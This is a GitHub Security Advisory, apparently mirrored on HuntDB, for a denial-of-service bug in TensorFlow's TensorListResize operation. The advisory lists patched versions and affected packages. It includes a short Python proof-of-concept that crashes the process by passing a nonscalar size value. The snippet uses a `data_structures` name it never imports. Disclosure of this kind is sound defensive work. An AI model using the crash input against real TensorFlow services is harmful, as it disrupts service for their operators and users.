Loading HuntDB...

GHSA-67pf-62xr-q35m

GitHub Security Advisory

`CHECK_EQ` fail in `tf.raw_ops.TensorListResize`

✓ GitHub Reviewed MODERATE Has CVE

Advisory Details

### Impact
If [`tf.raw_ops.TensorListResize`](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/core/kernels/list_kernels.cc) is given a nonscalar value for input `size`, it results `CHECK` fail which can be used to trigger a denial of service attack.
```python
import numpy as np
import tensorflow as tf

a = data_structures.tf_tensor_list_new(elements = tf.constant(value=[3, 4, 5]))
b = np.zeros([0, 2, 3, 3])

tf.raw_ops.TensorListResize(input_handle=a, size=b)
```

### Patches
We have patched the issue in GitHub commit [888e34b49009a4e734c27ab0c43b0b5102682c56](https://github.com/tensorflow/tensorflow/commit/888e34b49009a4e734c27ab0c43b0b5102682c56).

The fix will be included in TensorFlow 2.11. We will also cherrypick this commit on TensorFlow 2.10.1, 2.9.3, and TensorFlow 2.8.4, as these are also affected and still in supported range.

### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.

### Attribution
This vulnerability has been reported by Pattarakrit Rattankul

Affected Packages

PyPI tensorflow
Affected versions: 0 (fixed in 2.8.4)
PyPI tensorflow
Affected versions: 2.9.0 (fixed in 2.9.3)
PyPI tensorflow
Affected versions: 2.10.0 (fixed in 2.10.1)
PyPI tensorflow-cpu
Affected versions: 0 (fixed in 2.8.4)
PyPI tensorflow-gpu
Affected versions: 0 (fixed in 2.8.4)
PyPI tensorflow-cpu
Affected versions: 2.9.0 (fixed in 2.9.3)
PyPI tensorflow-gpu
Affected versions: 2.9.0 (fixed in 2.9.3)
PyPI tensorflow-cpu
Affected versions: 2.10.0 (fixed in 2.10.1)
PyPI tensorflow-gpu
Affected versions: 2.10.0 (fixed in 2.10.1)

Related CVEs

Key Information

GHSA ID
GHSA-67pf-62xr-q35m
Published
November 21, 2022 8:42 PM
Last Modified
November 21, 2022 8:42 PM
CVSS Score
5.0 /10
Primary Ecosystem
PyPI
Primary Package
tensorflow
GitHub Reviewed
✓ Yes

Dataset

Last updated: September 15, 2025 6:32 AM

Data from GitHub Advisory Database. This information is provided for research and educational purposes.